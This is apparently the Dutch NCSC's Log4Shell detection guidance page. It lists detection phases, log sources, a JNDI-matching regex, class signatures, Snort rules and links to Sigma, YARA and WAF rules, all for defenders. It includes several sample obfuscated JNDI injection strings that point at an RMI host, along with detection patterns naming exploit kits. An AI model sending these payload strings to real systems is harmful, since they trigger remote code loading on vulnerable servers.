This page contains an overview of any detection and mitigation software regarding the Log4j vulnerability. On this page NCSC-NL will maintain a list of all known rules to detect Log4j presence or (suspected) exploitation. Furthermore, any references will contain specific information regarding detection and mitigation.
NCSC-NL has not verified the rules and software listed below and therefore cannot guarantee the validity of said rules. However, NCSC-NL strives to provide rules and detection and mitigation software from reliable sources.
Table of Contents:
** Credits to Deloitte and GovCERT.ch for the image and the report on which this section is based.
Detection can be split up to three phases:
- Identify who is scanning the environment for vulnerable machines.
- Identify if a vulnerable application has attempted to retrieve the malicious code for potential execution.
- Download of the malicious code and execution of the malicious code on the vulnerable machine.
Detection:
- Scan inbound requests in the proxy/firewall/load balancer logs.
- Investigate the application logs to determine web requests which contain indicators of scanning attempts.
- Identify the source and protocol used by the attack.
Logs:
- Web proxy (inbound)
- See the JNDI regex guide.
- Firewall (inbound)
- See the JNDI regex guide.
- Web application firewall (inbound)
- See the JNDI regex guide.
- Load balancer (inbound)
- See the JNDI regex guide.
- IDS/IPS (across the network)
- See the JNDI regex guide.
- Application logs (Log4J) (inbound) - See here for more information about the log-writing behavior of vulnerable Log4J instances.
- IP addresses of attackers which are known to actively exploit the vulnerability (enrichment)
- See [../iocs/README.md]
Conclusion:
- Somebody has scanned your asset to identify if it is vulnerable.
Phase 2: Identify if a vulnerable application has attempted to retrieve the malicious code for potential execution.
Detection:
- Identify whether the outbound request has been blocked or allowed.
- Identify the source IP of the attack and determine if the IP is known to present a malicious payload to execute code or if the IP has been used to scan for vulnerabilities to obtain risk context.
Logs:
- Web proxy (outbound)
- See the JNDI regex guide.
- Firewall (outbound)
- See the JNDI regex guide.
- Load balancer (outbound)
- See the JNDI regex guide.
- IDS/IPS (across the network)
- See the JNDI regex guide.
- Machine logs (Sysmon/security logs)
- See here for more information about the log-writing behavior of vulnerable Log4J instances.
- IP addresses of attackers which are known to actively exploit the vulnerability (enrichment)
- See [../iocs/README.md]
Conclusion:
- The targeted application is vulnerable and has contacted the remote server to download a payload. You still need to verify whether this was a scan from a benign actor or an actual attack, by verifying whether a malicious payload was retrieved to the application’s host.
Phase 3: Download of the malicious code and execution of the malicious code on the vulnerable machine
Detection:
- Identify if the malicious payload has passed any network device (proxy, firewall, load balancer, IDS/IPS).
- Investigate the local machine if the server process has initiated any new child processes which show signs of malicious intent.
- Generic signs of command-and-control or beaconing traffic.
Logs:
- Web proxy (inbound)
- See the JNDI regex guide.
- Firewall (inbound)
- See the JNDI regex guide.
- Load balancer (inbound)
- See the JNDI regex guide.
- IDS/IPS (across the network)
- See the JNDI regex guide.
- Application logs (Log4J) (inbound) - See here for more information about the log-writing behavior of vulnerable Log4J instances.
- Machine logs (Sysmon/security logs)
- Some exploitation attempts have been observed where Log4J crashes while attempting to execute a malicious LDAP payload. Machine/System logs might provide stack traces of these failures.
- Process monitoring
Conclusion:
- The targeted application has downloaded the malicious payload. Execution of the payload can be identified through host-based process monitoring and forensic analysis.
${jndi:rmi://1.1.1[.]1:1389/Binary}
${jndi:rmi://1.1.1.1:1389/Binary}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://1.1.1.1:1389/Binary}
${jndi:rmi://1.1.1.1:1389/Binary}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://1.1.1.1/Binary}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://1.1.1.1:1389/Binary}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://1.1.1.1:1389/Binary}
${${lower:${lower:jndi}}:${lower:rmi}://1.1.1.1:1389/Binary}
(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))
Source: https://github.com/back2root/log4shell-rex
RegEx101: https://regex101.com/r/KqGG3W/24
- Please note that due to nested resolution of
${...}and multiple available obfuscation methods, this regular expression may not detect all forms of exploitation. It is impossible to write exhaustive regular expression. - This regular expression only works on URL-decoded logs. URL encoding is a popular second layer of obfuscation currently in use by attackers.
Warning: In a non-vulnerable Log4J instance injected JNDI strings will be logged by Log4J but not evaluated. However the presence of injected JNDI strings in log files written to by Log4J does not mean your Log4J instance is not vulnerable, since JNDI strings might also be logged (and evaluated) in vulnerable Log4J instances. See the section Behavior of injected JNDI strings in vulnerable Log4J instances below for more details.
Injected JNDI strings are displayed differently in log files written to by a vulnerable Log4J instance depending on the situation. A JNDI string is always evaluated first (e.g. a DNS/LDAP/RMI request is sent). Depending on the response a different result is logged:
- In case no successful (e.g. a DNS NXDOMAIN response or no response at all) response is received, the injected JNDI string will be displayed.
- In case a response is received the corresponding classname will be logged such as
com.sun.jndi.dns.DnsContext@<hashcode>for DNS. In case of RMI the loaded local class will be displayed, for examplejavax.el.ELProcessor@<hashcode>, but this might be any class on the vulnerable host loaded by an attacker. - Some cases have been observed where LDAP requests are being sent and a malicious class being loaded/executed, but no logging was written by Log4J, probably due to Log4J crashing while executing/evaluation the provided class.
Java Hashcodes: When an object is printed it is followed by a
@<hashcode>. For example:com.sun.jndi.dns.DnsContext@28a418fc. Java uses the hash of an object to perform actions such as sorting a collection of object. For more information see Object::hashCode.
Presence of these signatures in log files written to by Log4J is a strong sign of successful exploitation, but you should investigate whether these signatures appeared due to your own actions (e.g. Log4J scanning tools):
Class signatures:
com.sun.jndi.dns.DnsContext
com.sun.jndi.ldap.LdapCtx
javax.el.ElProcessor
groovy.lang.GroovyShell
Note: Hashcodes are omitted because they change based on the value in the fields of Java object.
Warning: Since RMI can be used to load classes on the vulnerable Log4J system the list presented here cannot be seen as a complete. Other classes might be loaded and misused to manipulate the system.**
More generic strings:
com.sun.jndi.
Error looking up JNDI resource
Metadata detection rules for web traffic:
JNDIExploit
http.method = 'GET'
http.uri = '/Exploit[a-zA-Z0-9]{10}.class'
http.user_agent = 'Java/.*' (depends on version installed on system)
http.response_mime_type = 'application/x-java-applet'
http.response_body = Java-class file (0xcafebabe00 file magic)
JNDI-Exploit-Kit
http.method = 'GET'
http.uri = '/ExecTemplateJDK[5678].class'
User-agent = 'Java/.*' (depends on version installed on system)
http.response_mime_type = 'application/x-java-applet'
http.response_body = Java-class file (0xcafebabe00 file magic)
Marshallsec
http.uri = '*.class'
http.user_agent = 'Java/.*' (depends on version installed on system)
http.response_mime_type = 'application/x-java-applet'
http.response_body = Java-class file (0xcafebabe00 file magic)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Detection - Log4j LDAP searchResEntry response with javaSerializedData - JNDI-Exploit-Kit"; content:"|30|"; depth:1; content:"|64|"; within:8; content:"javaSerializedData"; content: "javaCodeBase"; content: "http"; within:8; content:"javaClassName"; sid:21122001; priority:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Detection - Log4j LDAP response with JNDIExploit framework attributes"; content:"|30|"; depth:1; content:"|64|"; within:8; content:"javaClassName"; content:"javaCodeBase"; content:"http"; within:8; content:"objectClass"; content:"javaFactory"; sid:21122002; priority:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Detection - Log4j LDAP searchResEntry response with javaSerializedData - JNDIExploit"; content:"|30|"; depth:1; content:"|64|"; within:8; content: "javaClassName"; content:"javaSerializedData"; sid:21122003; priority:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Detection - Log4J RMI ReturnData with Java Serialized Object"; content:"|51 ac ed 00 05|"; depth:5; sid:21122004; priority:2;)
For PCAP examples with JNDI exploits see here
| Source | Notes | Links |
|---|---|---|
| NCC Group / Fox-IT | Log4Shell: Reconnaissance and post exploitation network detection | source |
Snort and Suricata rules:
| Note | Rule-range | Rule |
|---|---|---|
| These are ET Open free community detections to alert on current exploit activity. | SID range 2034647-2034652. | source |
| Web-server | Source | Notes | Links |
|---|---|---|---|
| Nginx | Infiniroot | Block requests with known patterns in URI and headers using LUA | Github |
ModSecurity OWASP CoreRuleSet :
| Note | Rule | Links |
|---|---|---|
| Included rule which blocks all, when applied to all headers, with 1 exception. | 932130 | source |
| New rule which blocks all | 1005 | source challenge |
| Source | Notes | Links |
|---|---|---|
| Neo23x0 | Florian Roth Grep and YARA rule for log4j2 exploitation | https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b |
| Neo23x0 | Florian Roth Detects exploitation attempt against log4j RCE vulnerability fields (Sigma rule) | https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml |
| Neo23x0 | Florian Roth Detects exploitation attempt against log4j RCE vulnerability (Sigma rule) | https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml |
| Neo23x0 | Florian Roth Fenrir Simple IOC scanner bash script | https://github.com/Neo23x0/Fenrir |
| Source | Notes | Links |
|---|---|---|
| w4rguy | Gerrit Kortlever guidance on which detections can take place in different steps of the attack, which conclusions can be derived from them and which logs are required to detect the attempts | https://github.com/NCSC-NL/log4shell/blob/main/detection_mitigation/Log4j%20Attack%20Detection%20Guidance%20-%20Release.pdf |